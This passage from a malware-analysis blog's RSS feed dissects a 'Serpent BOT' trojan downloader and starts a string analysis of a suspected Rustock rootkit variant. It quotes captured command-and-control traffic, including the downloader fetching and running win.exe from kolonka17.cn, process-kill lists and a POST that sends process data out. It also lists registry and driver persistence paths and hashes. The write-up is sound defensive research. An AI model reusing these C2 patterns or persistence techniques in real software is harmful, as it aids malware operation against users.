<p><img src="http://blog.novirusthanks.org/wp-content/uploads/I-Worm_Nuwar.W_Ntfs.sys_Hooks.gif" alt="Beep.SYS and Ntfs.SYS Hooks" title="Beep.SYS and Ntfs.SYS Hooks" width="530" /></p>
<p>&nbsp;</p>
<p>Unknown IRP Handler:</p>
<p>&nbsp;</p>
<p><img src="http://blog.novirusthanks.org/wp-content/uploads/I-Worm_Nuwar.W_Unknown_IRP_Handler.gif" alt="Unknown IRP Handler" title="Unknown IRP Handler" width="530" /></p>
<p>&nbsp;</p>
<p>Tcpip.sys Hooks:</p>
<p>&nbsp;</p>
<p><img src="http://blog.novirusthanks.org/wp-content/uploads/I-Worm_Nuwar.W_Tcpip.sys_Infection.gif" alt="Tcpip.sys Hooks" title="Tcpip.sys Hooks" width="530" /></p>
<p>&nbsp;</p>
<p>Stealth Code:</p>
<p>&nbsp;</p>
<p><img src="http://blog.novirusthanks.org/wp-content/uploads/I-Worm_Nuwar.W_Stealth_Code.gif" alt="Stealth code" title="Stealth code" /></p>
<p>&nbsp;</p>
<p>Registry Startup Keys</p>
<p>&nbsp;</p>
<p><img src="http://blog.novirusthanks.org/wp-content/uploads/I-Worm_Nuwar.W_Startup_Keys.gif" alt="Startup keys" title="Startup keys" /></p>
<p>&nbsp;</p>
<p>Other Code Hooks</p>
<p>&nbsp;</p>
<p><img src="http://blog.novirusthanks.org/wp-content/uploads/I-Worm_Nuwar.W_Code_Hooks_part3.gif" alt="Code hooks" title="Code hooks" width="530"/></p>
<p>&nbsp;</p>
<p>Regedit is disabled</p>
<p>&nbsp;</p>
<p><img src="http://blog.novirusthanks.org/wp-content/uploads/I-Worm_Nuwar.W_Regedit_disabled.gif" alt="Regedit is disabled" title="Regedit is disabled" /></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.novirusthanks.org/2008/11/i-wormnuwarw-rustocke-variant-analysis/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Serpent BOT (Web Based Malware)</title>
		<link>http://blog.novirusthanks.org/2008/11/serpent-bot-web-based-malware-analysis/</link>
		<comments>http://blog.novirusthanks.org/2008/11/serpent-bot-web-based-malware-analysis/#comments</comments>
		<pubDate>Sun, 23 Nov 2008 01:00:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Malware Analysis]]></category>
		<category><![CDATA[Cutwail.D]]></category>
		<category><![CDATA[load.exe]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[rootkit]]></category>
		<category><![CDATA[Spam.Bot]]></category>
		<category><![CDATA[WinCtrl32.dll]]></category>
		<category><![CDATA[Winkk44.sys]]></category>

		<guid isPermaLink="false">http://novirusthanks.org/blog/?p=312</guid>
		<description><![CDATA[Steve sent me another sample of malware he found, but this time, we found a Web Based Malware with a web-interface: &#160; &#160; The file that established connections with the website was named load.exe and below there is the report of the scan: Report Generated 22.11.2008 at 23.15.36 (GMT 1) Filename: load.exe File size: 27 [...]]]></description>
			<content:encoded><![CDATA[<p>Steve sent me another sample of malware he found, but this time, we found a Web Based Malware with a web-interface:</p>
<p>&nbsp;</p>
<p><img src="http://blog.novirusthanks.org/wp-content/uploads/Serpent_BOT_mainpage2.gif" alt="Web Based Malware" title="Web Based Malware" width="530" height="430" /></p>
<p>&nbsp;</p>
<p>The file that established connections with the website was named load.exe and below there is the report of the scan:</p>
<blockquote><p>
Report Generated 	22.11.2008 at 23.15.36 (GMT 1)<br />
Filename: 	<b>load.exe</b><br />
File size: 	27 KB<br />
MD5 Hash: 	97A860C202A8016E08818F3AA90525B8<br />
SHA1 Hash: 	CADF466ABD29CD993DD81EC838282589D0077BAC<br />
CRC32: 	89416946<br />
Application Type:	Executable (EXE) 32bit<br />
Packer detected:	Microsoft Visual C++ 6.0<br />
Self-Extract Archive: 	Nothing found<br />
Binder Detector: 	Nothing found<br />
Detection Rate:	<span style="color: red;">23</span> on 23</p>
<p>&nbsp;</p>
<p>Antivirus 	Result<br />
a-squared 	<span style="color: red;">Trojan-Downloader.Agent!IK</span><br />
Avira AntiVir 	<span style="color: red;">TR/Dldr.Agent.agl</span><br />
Avast 	<span style="color: red;">Win32:Small-JMK [Trj] (0)</span><br />
AVG 	<span style="color: red;">Trojan horse Downloader.Zlob.12.R</span><br />
BitDefender 	<span style="color: red;">Trojan.Crypt.AI</span><br />
ClamAV 	<span style="color: red;">Worm.Socks-11</span><br />
Comodo 	<span style="color: red;">TrojWare.Win32.PSW.Agent.NHG</span><br />
Dr.Web 	<span style="color: red;">Trojan.PWS.Pace</span><br />
Ewido 	<span style="color: red;">Downloader.Agent.llo</span><br />
F-PROT 6 	<span style="color: red;">W32/Socks.A.gen!Eldorado (generic, not disinfectable)</span><br />
G DATA 	<span style="color: red;">Trojan-Downloader.Win32.Agent.llo A</span><br />
IkarusT3 	<span style="color: red;">Trojan-Downloader.Agent</span><br />
Kaspersky 	<span style="color: red;">Trojan-Downloader.Win32.Agent.llo</span><br />
McAfee 	<span style="color: red;">BackDoor-DRW trojan</span><br />
MHR (Malware Hash Registry) 	<span style="color: red;">Virus Found &#8211; detect rate 75%</span><br />
NOD32 v3 	<span style="color: red;">Win32/PSW.Agent.NHG trojan</span><br />
Norman 	<span style="color: red;">Trojan W32/Agent.EXZF ()</span><br />
QuickHeal 	<span style="color: red;">TrojanDownloader.Agent.llo</span><br />
Solo Antivirus 	<span style="color: red;">Infection TrojanDropper.Win32.Small.Bgx</span><br />
Sophos 	<span style="color: red;">Troj/Dloadr-BMT</span><br />
TrendMicro 	<span style="color: red;">WORM_SOCKS.BL</span><br />
VBA32 	<span style="color: red;">Trojan-Downloader.Win32.Agent.llo</span><br />
VirusBuster 	<span style="color: red;">Trojan.DL.Agent.ETEH</span>
</p></blockquote>
<p>When I executed this load.exe file, a lot of traffic was established with this domain:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">kolonka17.cn</pre></td></tr></table></div>

<p>Internet traffic:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">GET /loader/?&amp;amp;v=ver&amp;amp;s=9988 HTTP/1.1
User-Agent: _
Host: kolonka17.cn</pre></td></tr></table></div>

<p>With the traffic below, another executable file named win.exe will be downloaded and executed in my system:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">GET /loader/manda.php?id=-695459345&amp;amp;v=ver&amp;amp;s=9988 HTTP/1.1
User-Agent: _
Host: kolonka17.cn
Cookie: PHPSESSID=c153aa8346175853a68924e15fcbb0bf
&nbsp;
HTTP/1.1 200 OK
Server: Apache/2
Content-length: 29
&nbsp;
hxxp://kolonka17.cn/win.exe|5
&nbsp;
GET /win.exe HTTP/1.1
User-Agent: _
Host: kolonka17.cn
Cookie: PHPSESSID=c153aa8346175853a68924e15fcbb0bf</pre></td></tr></table></div>

<p>Next we see new traffic to a new domain, where it sends a lot of encrypted data:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">GET /40E8001431303134393536323335383537393339333234386C0000018D66000000007600000642EB00053085858585 HTTP/1.0
Host: 69.147.239.106
&nbsp;
HTTP/1.0 200 OK
Date: Sat, 22 Nov 2008 09:04:03 GMT
Server: Apache/2.2.3 (Debian) PHP/5.2.0-8+etch9
Last-Modified: Sat, 22 Nov 2008 09:04:03 GMT
Cache-Control: no-cache
Content-Length: 107532
Connection: close
Content-Type: application/octet-stream
...</pre></td></tr></table></div>

<p>And below there is some interesting traffic:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">GET /loader/manda.php?id=-789987028&amp;amp;l=5&amp;amp;v=ver&amp;amp;s=9988 HTTP/1.1
User-Agent: _
Host: kolonka17.cn
Cookie: PHPSESSID=c153aa8346175853a68924e15fcbb0bf
&nbsp;
HTTP/1.1 200 OK
Date: Sat, 22 Nov 2008 14:00:06 GMT
Server: Apache/2
Content-Length: 2
&nbsp;
ok
&nbsp;
GET /loader/proc_kill HTTP/1.1
User-Agent: _
Host: kolonka17.cn
Cookie: PHPSESSID=c153aa8346175853a68924e15fcbb0bf
&nbsp;
HTTP/1.1 200 OK
Date: Sat, 22 Nov 2008 14:00:07 GMT
Server: Apache/2
Last-Modified: Wed, 12 Nov 2008 09:23:38 GMT
Content-Length: 185
Content-Type: text/plain
&nbsp;
regedit.exe
msconfig.exe
taskmgr.exe
reg.exe
taskkill.exe
tskill.exe
tasklist.exe
infium.exe
notepad.exe
explorer.exe
nod32kui.exe
nod32kui.exe
egui.exe
egui.exe
putty.exe</pre></td></tr></table></div>

<p>The malware now gets the command to kill a list of processes on my system:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">GET /loader/proc_kill HTTP/1.1</pre></td></tr></table></div>

<p>But the malware will not stop at just killing the processes! The malware will also <strong>delete</strong> some important executable files of the system, such as:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">C:\WINDOWS\explorer.exe</pre></td></tr></table></div>

<p>In the new traffic below we can see the malware received another command:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">GET /loader/proc_run HTTP/1.1
User-Agent: _
Host: kolonka17.cn
Cookie: PHPSESSID=c153aa8346175853a68924e15fcbb0bf
&nbsp;
HTTP/1.1 200 OK
Date: Sat, 22 Nov 2008 14:00:14 GMT
Server: Apache/2
Content-Length: 30
Content-Type: text/plain
&nbsp;
none.exe
taskmon.exe
qip.exe
&nbsp;
GET /loader/proc_killsize HTTP/1.1
User-Agent: _
Host: kolonka17.cn
Cookie: PHPSESSID=c153aa8346175853a68924e15fcbb0bf
&nbsp;
HTTP/1.1 200 OK
Date: Sat, 22 Nov 2008 14:00:10 GMT
Server: Apache/2
Content-Length: 40
Content-Type: text/plain
&nbsp;
tasklis2t.exe
inf3ium.exe
note4pad.exe</pre></td></tr></table></div>

<p>And is always related to process killing. After, we sent new traffic to the domain:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">POST /loader/data.php?id=-789987028 HTTP/1.1
Host: kolonka17.cn
Content-Type: application/x-www-form-urlencoded
Content-length: 289
&nbsp;
proc=[System Process]
smss.exe
csrss.exe
winlogon.exe
services.exe
lsass.exe
svchost.exe
spoolsv.exe
explorer.exe
alg.exe
wscntfy.exe
ufo.exe
load.exe
14B.tmp
size=12800
0
0
0
108032
13312
14336
57856
13824
51200
27648
12800
&nbsp;
HTTP/1.1 200 OK
Date: Sat, 22 Nov 2008 14:00:22 GMT
Content-Length: 0
Content-Type: text/html</pre></td></tr></table></div>

<p>We can see the malware has sent some information related to the current running processes of my system !! But note we have also sent the size of each process ! This information can be used by future malware versions, maybe to create some evading-code or to detect certain processes &#8220;not much loved&#8221; by the malware.</p>
<p>&nbsp;</p>
<p>Next we received some traffic in the SMTP (25) port:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">Protocol          : TCP
Local Address     : 64.233.183.27
Local Port        : 25
&nbsp;
220 mx.google.com ESMTP k5si310246nfh.0
&nbsp;
Protocol          : TCP
Local Address     : 209.85.135.114
Local Port        : 25
&nbsp;
220 mx.google.com ESMTP n10si1763302mue.37
&nbsp;
Protocol          : TCP
Local Address     : 94.100.176.20
Local Port        : 25
&nbsp;
220 Mail.Ru ESMTP
&nbsp;
Protocol          : TCP
Local Address     : 216.157.145.27
Local Port        : 25
&nbsp;
220 mail7.hsphere.cc ESMTP mail7.hsphere.cc; Sat Nov 22 09:20:00 2008</pre></td></tr></table></div>

<p>And a new driver is loaded by the malware:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">C:\WINDOWS\system32\drivers\Winkk44.sys</pre></td></tr></table></div>

<p>Report of the scan:</p>
<blockquote><p>
Report Generated 	22.11.2008 at 23.32.46 (GMT 1)<br />
Filename: 	<b>Winkk44.sys</b><br />
File size: 	32 KB<br />
MD5 Hash: 	286C4C43EFED1D81C59AA7BC70B83BD8<br />
SHA1 Hash: 	4D09AC6BE2808360697E7ECA71BEBF7CADFDE985<br />
CRC32: 	2495620378<br />
Application Type:	Executable (EXE) 32bit<br />
Packer detected:	Nothing found [Overlay] *<br />
Self-Extract Archive: 	Nothing found<br />
Binder Detector: 	Nothing found<br />
Detection Rate:	<span style="color: red;">7</span> on 24</p>
<p>&nbsp;</p>
<p>Antivirus 	Result<br />
a-squared 	<span style="color: red;">Trojan-Dropper.Cutwail!IK</span><br />
Avira AntiVir 	-<br />
Avast 	-<br />
AVG 	<span style="color: red;">Virus found BackDoor.Ntrootkit</span><br />
BitDefender 	<span style="color: red;">Trojan.Dropper.Cutwail.D</span><br />
ClamAV 	-<br />
Comodo 	-<br />
Dr.Web -<br />
Ewido 	-<br />
F-PROT 6 	-<br />
G DATA 	<span style="color: red;">Trojan-Downloader.Win32.Mutant.aim A</span><br />
IkarusT3 	<span style="color: red;">Trojan-Dropper.Cutwail</span><br />
Kaspersky 	<span style="color: red;">Trojan-Downloader.Win32.Mutant.aim</span><br />
McAfee 	-<br />
MHR (Malware Hash Registry) 	-<br />
NOD32 v3 	-<br />
Norman 	-<br />
Panda 	-<br />
QuickHeal 	-<br />
Solo Antivirus 	<span style="color: red;">Infection TrojanDownloader.Win32.Mutant.Aim</span><br />
Sophos 	-<br />
TrendMicro 	-<br />
VBA32 	-<br />
VirusBuster 	-
</p></blockquote>
<p>Again a <font color="red">Trojan.Dropper.Cutwail.D</font> !</p>
<p>&nbsp;</p>
<p>Below there are some interested strings extracted from Winkk44.sys:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">winlogon.exe
e:\0soft\loader\runtime3\objfre_wxp_x86\i386\runtime3.pdb
EXERESOURCE
\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\WinCtrl32
Asynchronous
Impersonate
StartShell
DLLName
WLEventStartShell
WinCtrl32.dll
\SystemRoot\system32\WinCtrl32.dll
ImagePath
Start
\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\
\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Network\
\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\
\DosDevices\Rntm74
\Device\Rntm74
\SystemRoot\system32\drivers\
\FileSystem
Winkk44.sys</pre></td></tr></table></div>

<p>As we can see from the image below, this driver is auto-loaded when the Operating System boots in Safe Mode:</p>
<p>&nbsp;</p>
<p><img src="http://blog.novirusthanks.org/wp-content/uploads/Serpent_BOT_safemode_startup.gif" alt="Kernel driver loaded in safe mode" title="Kernel driver loaded in safe mode" width="530" /></p>
<p>&nbsp;</p>
<p>During the analysis, were not detected SSDT/Shadow SSDT Hooks, no Stealth Code, I get BSOD when trying to open certain Anti-Rootkit software, the file <strong>Winkk44_sys</strong> is protected from changing/modification/deletion and also the registry keys are protected from changing/modification/deletion.</p>
<p>&nbsp;</p>
<p>Running processes that are visible with taskmanager:</p>
<p>&nbsp;</p>
<p><img src="http://blog.novirusthanks.org/wp-content/uploads/Serpent_BOT_processi.gif" alt="Running processes" title="Running processes" /></p>
<p>&nbsp;</p>
<p>Registry keys used by the malware to startup with Windows:</p>
<p>&nbsp;</p>
<p><img src="http://blog.novirusthanks.org/wp-content/uploads/Serpent_BOT_startup.gif" alt="Registry keys" title="Registry keys" /></p>
<p>&nbsp;</p>
<p>Service info:</p>
<p>&nbsp;</p>
<p><img src="http://blog.novirusthanks.org/wp-content/uploads/Serpent_BOT_service_info.gif" alt="Registry keys of the rootkit driver" title="Registry keys of the rootkit driver" /></p>
<p>&nbsp;</p>
<p>These are the malware traces we can see from an HijackThis log:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">Running processes:
C:\WINDOWS\system32\drivers\ctfmon.exe
%User%\Local Settings\Application Data\spool.exe
%User%\Local Settings\Application Data\spool.exe
%User%\Local Settings\Application Data\spool.exe
&nbsp;
O2 - BHO: pl - {B200799F-9538-403d-9A6E-36F5942EC540} - C:\WINDOWS\system32\fklame32.dll (file missing)
O4 - HKLM\..\Run: [ntuser] C:\WINDOWS\system32\drivers\ctfmon.exe
O4 - HKLM\..\Run: [autoload] %User%\Local Settings\Application Data\spool.exe
O4 - HKCU\..\Run: [ntuser] C:\WINDOWS\system32\drivers\ctfmon.exe
O4 - HKCU\..\Run: [autoload] %User%\Local Settings\Application Data\spool.exe
O4 - HKUS\S-1-5-18\..\Run: [ntuser] C:\WINDOWS\system32\drivers\ctfmon.exe (User 'SYSTEM')
O4 - HKUS\S-1-5-18\..\Run: [autoload] C:\Documents and Settings\LocalService\Local Settings\Application Data\spool.exe (User 'SYSTEM')
O20 - Winlogon Notify: WinCtrl32 - C:\WINDOWS\SYSTEM32\WinCtrl32.dll
O23 - Service: Task Scheduler (Schedule) - Unknown owner - C:\WINDOWS\system32\drivers\ctfmon.exe</pre></td></tr></table></div>

<p>Below there is a small summary of the files created by the malware:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">C:\WINDOWS\system32\ctfmon.exe
%User%\Local Settings\Application Data\spool.exe
%User%\ftpdll.dll
C:\WINDOWS\system32\WinCtrl32.dll
C:\WINDOWS\system32\fklame32.dll
C:\WINDOWS\system32\drivers\ctfmon.exe
C:\WINDOWS\system32\drivers\Winkk44.sys
C:\WINDOWS\system32\drivers\555.exe</pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://blog.novirusthanks.org/2008/11/serpent-bot-web-based-malware-analysis/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Next Generation of Rustock.Rootkit variants ?</title>
		<link>http://blog.novirusthanks.org/2008/11/next-generation-of-rustock-variants/</link>
		<comments>http://blog.novirusthanks.org/2008/11/next-generation-of-rustock-variants/#comments</comments>
		<pubDate>Mon, 17 Nov 2008 23:05:42 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Malware Analysis]]></category>
		<category><![CDATA[%d.exe]]></category>
		<category><![CDATA[%u.tmp]]></category>
		<category><![CDATA[%ws]]></category>
		<category><![CDATA[%x.sys]]></category>
		<category><![CDATA[Adware.AntiSpyKing]]></category>
		<category><![CDATA[analysis]]></category>
		<category><![CDATA[BHO]]></category>
		<category><![CDATA[Browser Helper Objects]]></category>
		<category><![CDATA[driver]]></category>
		<category><![CDATA[explorer.exe]]></category>
		<category><![CDATA[FraudLoad]]></category>
		<category><![CDATA[iexplore.exe]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[NewWork]]></category>
		<category><![CDATA[ntoskrnl.exe]]></category>
		<category><![CDATA[rootkit]]></category>
		<category><![CDATA[Rustock]]></category>
		<category><![CDATA[services.exe]]></category>
		<category><![CDATA[svchost.exe]]></category>
		<category><![CDATA[variant]]></category>
		<category><![CDATA[\Device\Tcp]]></category>

		<guid isPermaLink="false">http://novirusthanks.org/blog/?p=262</guid>
		<description><![CDATA[Analysis Content: Next Generation of Rustock.Rootkit variants ? Released: 18.11.2008 Author of Analysis: Robert Contact: robert@novirusthanks.org Website: http://novirusthanks.org My friend Steve sent me today a new possible variant of the famous Rustock.Rootkit ! The file I received was named unprotdmp and below there is the report of the scan: Report Generated 17.11.2008 at 23.05.50 (GMT [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>Analysis Content: Next Generation of Rustock.Rootkit variants ?<br />
Released: 18.11.2008<br />
Author of Analysis: Robert<br />
Contact: robert@novirusthanks.org<br />
Website: http://novirusthanks.org</p>
</blockquote>
<p>My friend Steve sent me today a new possible variant of the famous <strong>Rustock.Rootkit</strong> !</p>
<p>The file I received was named <strong>unprotdmp</strong> and below there is the report of the scan:</p>
<blockquote><p>Report Generated 	17.11.2008 at 23.05.50 (GMT 1)<br />
Time for scan: 	26 seconds<br />
Filename: 	unprotdmp<br />
File size: 	48 KB<br />
MD5 Hash: 	4D5F159DFBDEC338F6E8E83BAAA0B26F<br />
SHA1 Hash: 	26E87BE9EC0D41965DA6860AE617AF56A449778F<br />
CRC32: 	2928629155<br />
Application Type:	Executable (EXE) 32bit<br />
Packer detected:	Nothing found [Overlay] *<br />
Self-Extract Archive: 	Nothing found<br />
Binder Detector: 	<span style="color: red;">File is possible binded with malware</span><br />
ASCII Strings: 	View<br />
Detection Rate:	<span style="color: red;">3</span> on 23</p>
<p>Antivirus 	Result<br />
a-squared 	<span style="color: green;">Nothing found!</span><br />
Avira AntiVir 	<span style="color: red;">TR/Dropper.Gen</span><br />
Avast 	<span style="color: green;">Nothing found!</span><br />
AVG 	<span style="color: green;">Nothing found!</span><br />
BitDefender 	<span style="color: green;">Nothing found!</span><br />
ClamAV 	<span style="color: green;">Nothing found!</span><br />
Comodo 	<span style="color: green;">Nothing found!</span><br />
Dr.Web 	<span style="color: green;">Nothing found!</span><br />
Ewido 	<span style="color: green;">Nothing found!</span><br />
F-PROT 6 	<span style="color: green;">Nothing found!</span><br />
G DATA 	<span style="color: green;">Nothing found!</span><br />
IkarusT3 	<span style="color: green;">Nothing found!</span><br />
Kaspersky 	<span style="color: green;">Nothing found!</span><br />
McAfee 	<span style="color: green;">Nothing found!</span><br />
NOD32 v3 	<span style="color: green;">Nothing found!</span><br />
Norman 	<span style="color: green;">Nothing found!</span><br />
Panda 	<span style="color: green;">Nothing found!</span><br />
QuickHeal 	<span style="color: green;">Nothing found!</span><br />
Solo Antivirus 	<span style="color: green;">Nothing found!</span><br />
Sophos 	<span style="color: green;">Nothing found!</span><br />
TrendMicro 	<span style="color: green;">Nothing found!</span><br />
VBA32 	<span style="color: red;">Malware-Cryptor.Win32.General.3</span><br />
VirusBuster 	<span style="color: green;">Nothing found!</span></p>
</blockquote>
<p>We can see a lot of very interesting strings inside the code of the file:</p>
<blockquote><p>ExAllocatePool<br />
ExFreePool<br />
ZwQuerySystemInformation<br />
ZwOpenKey<br />
ZwCreateKey<br />
%win<br />
svchost.exe<br />
ZwCreateEvent<br />
TransportAddress<br />
ConnectionContext<br />
<strong>C:\progz\NewWork\driver\objfre\i386\driver.pdb</strong><br />
LoadLibraryA<br />
GetProcAddress<br />
SetEvent<br />
Init<br />
CreateThread<br />
SleepEx<br />
FATAL_UNHANDLED_HARD_ERROR</p>
<p>wcschr<br />
ZwClose<br />
ZwSetValueKey<br />
wcslen<br />
ZwCreateKey<br />
RtlInitUnicodeString<br />
ZwUnmapViewOfSection<br />
ExFreePoolWithTag<br />
swprintf<br />
ExAllocatePoolWithTag<br />
ZwMapViewOfSection<br />
ZwOpenSection<br />
PsTerminateSystemThread<br />
KeDelayExecutionThread<br />
ZwCreateEvent<br />
ZwOpenEvent<br />
PsCreateSystemThread<br />
PsGetCurrentProcessId<br />
ZwQuerySystemInformation<br />
IoGetCurrentProcess<br />
ZwDeleteKey<br />
ZwEnumerateKey<br />
ZwOpenKey<br />
IoGetRelatedDeviceObject<br />
ZwCreateFile<br />
ZwReadFile<br />
ZwQueryInformationFile<br />
KeReleaseMutex<br />
KeWaitForSingleObject<br />
KeInitializeEvent<br />
KeInsertQueueApc<br />
KeInitializeApc<br />
KeClearEvent<br />
ObfDereferenceObject<br />
PsLookupThreadByThreadId<br />
IoFreeMdl<br />
KeDetachProcess<br />
MmMapLockedPages<br />
KeAttachProcess<br />
MmBuildMdlForNonPagedPool<br />
IoAllocateMdl<br />
MmUnmapLockedPages<br />
NtSetInformationProcess<br />
ObReferenceObjectByHandle<br />
PsLookupProcessByProcessId<br />
PsSetCreateProcessNotifyRoutine<br />
KeInitializeMutex<br />
wcstombs<br />
IofCompleteRequest<br />
ProbeForRead<br />
KeGetCurrentThread<br />
KeSetEvent<br />
KeServiceDescriptorTable<br />
MmProbeAndLockPages<br />
ObfReferenceObject<br />
SeDeleteAccessState<br />
RtlCopyUnicodeString<br />
SeSetAccessStateGenericMapping<br />
RtlMapGenericMask<br />
SeCreateAccessState<br />
ObCreateObject<br />
IoFileObjectType<br />
IoFreeIrp<br />
IoAllocateIrp<br />
ZwOpenFile<br />
IoReuseIrp<br />
IoGetDeviceObjectPointer<br />
ProbeForWrite<br />
MmUnlockPages<br />
IoCancelIrp<br />
IofCallDriver<br />
_allmul<br />
KeUnstackDetachProcess<br />
KeStackAttachProcess<br />
ntoskrnl.exe<br />
_except_handler3<br />
ExReleaseFastMutex<br />
ExAcquireFastMutex<br />
HAL.dll<br />
NDIS.SYS</p>
<p>IoGetRelatedDeviceObject<br />
KeInitializeEvent<br />
DbgPrint<br />
IoAllocateMdl<br />
KeInitializeDpc<br />
ntoskrnl.exe</p>
<p>ImagePath<br />
Type<br />
Start<br />
ErrorControl<br />
\BaseNamedObjects\5B37FB3B-984D-1E57-FF38-AA681BE5C8D8<br />
\registry\machine\system\CurrentControlSet\Services\%x<br />
\SystemRoot\System32\drivers\%x.sys<br />
\BaseNamedObjects\{60F9FCD0-8DD4-6453-E394-771298D2A470}<br />
services.exe<br />
\registry\machine\system\CurrentControlSet\Enum\Root\LEGACY_%ws<br />
\SystemRoot\System32\ntdll.dll<br />
%ws%ws<br />
\Device\Tcp<br />
svchost.exe<br />
\SystemRoot\Temp\%u.tmp<br />
.log<br />
\registry\machine\system<br />
\Device\Tcp</p>
</blockquote>
<p>These are interesting strings uh !?</p>
<p>So lets do a small analysis only based on strings we found:</p>
<p><strong>%win</strong> can stand for Windows Directory (similar to the Environment variable &#8211; %WinDir%)</p>
<p><strong>svchost.exe</strong> can be a process where the malware will inject code.</p>
<p><strong>C:\progz\NewWork\driver\objfre\i386\driver.pdb</strong> ==&gt; Very interesting string, is different from all the other variants of <strong>Rustock.Rootkit</strong> and should stand for a new version of the malware !!!</p>
<p><strong>HAL.dll</strong> &#8211; Windows Hardware Abstraction Layer (HAL), is a file that hides hardware complexities from Win applications.</p>
<p><strong>NDIS.sys</strong> &#8211; Network Driver Interface Specification (NDIS) is an application programming interface (API) for network interface cards (NICs).</p>
<p><strong>\registry\machine\system\CurrentControlSet\Services\%x</strong> is the path of the Services and <strong>%x</strong> should be the variable that will be overwritten with the malware Service name.</p>
<p><strong>\SystemRoot\System32\drivers\%x.sys</strong> is the path where are stored drivers and <strong>%x</strong> should be the variable that will be overwritten with the name of the malware driver.</p>
<p><strong>services.exe</strong> can be used by malware to load and start services or the malware can inject code into it.</p>
<p>We can also see that into the file have <strong>embedded 2 PE</strong>, so, maybe, one is the kernel driver of the rootkit and the other one is the user-mode botnet.</p>
<p>Unfortunately I can not test/run this sample so I can only show this small analysis, anyway very interesting code!</p>
<p>Another file that was present with this rootkit was named <strong>sxmg4.dll</strong> and below there is the report of the scan:</p>
<blockquote><p>Report Generated 	18.11.2008 at 0.13.08 (GMT 1)<br />
Time for scan: 	33 seconds<br />
Filename: 	sxmg4.dll<br />
File size: 	68 KB<br />
MD5 Hash: 	15EB3167B2B87F168B1D997530D41003<br />
SHA1 Hash: 	206C3E2D26F051C988D38F3B22215F81AE68C54A<br />
CRC32: 	542643393<br />
Application Type:	Dinamyc Link Library (DLL) 32bit<br />
Packer detected:	Microsoft Visual C++ 6.0 DLL<br />
Self-Extract Archive: 	Nothing found<br />
Binder Detector: 	Nothing found<br />
ASCII Strings: 	View<br />
Detection Rate:	<span style="color: red;">5</span> on 23</p>
<p>Antivirus 	Result<br />
a-squared 	<span style="color: red;">Trojan.Win32.BHO.d!IK</span><br />
Avira AntiVir 	<span style="color: green;">Nothing found!</span><br />
Avast 	<span style="color: green;">Nothing found!</span><br />
AVG 	<span style="color: red;">Trojan horse BackDoor.Ircbot.GEV</span><br />
BitDefender 	<span style="color: green;">Nothing found!</span><br />
ClamAV 	<span style="color: green;">Nothing found!</span><br />
Comodo <span style="color: green;"> Nothing found!</span><br />
Dr.Web 	<span style="color: green;">Nothing found!</span><br />
Ewido 	<span style="color: green;">Nothing found!</span><br />
F-PROT 6 	<span style="color: green;">Nothing found!</span><br />
G DATA 	<span style="color: green;">Nothing found!</span><br />
IkarusT3 	<span style="color: red;">Trojan.Win32.BHO.d</span><br />
Kaspersky 	<span style="color: green;">Nothing found!</span><br />
McAfee 	<span style="color: green;">Nothing found!</span><br />
NOD32 v3 	<span style="color: red;">Win32/Adware.AntiSpyKing application</span><br />
Norman 	<span style="color: green;">Nothing found!</span><br />
Panda 	<span style="color: green;">Nothing found!</span><br />
QuickHeal 	<span style="color: green;">Nothing found!</span><br />
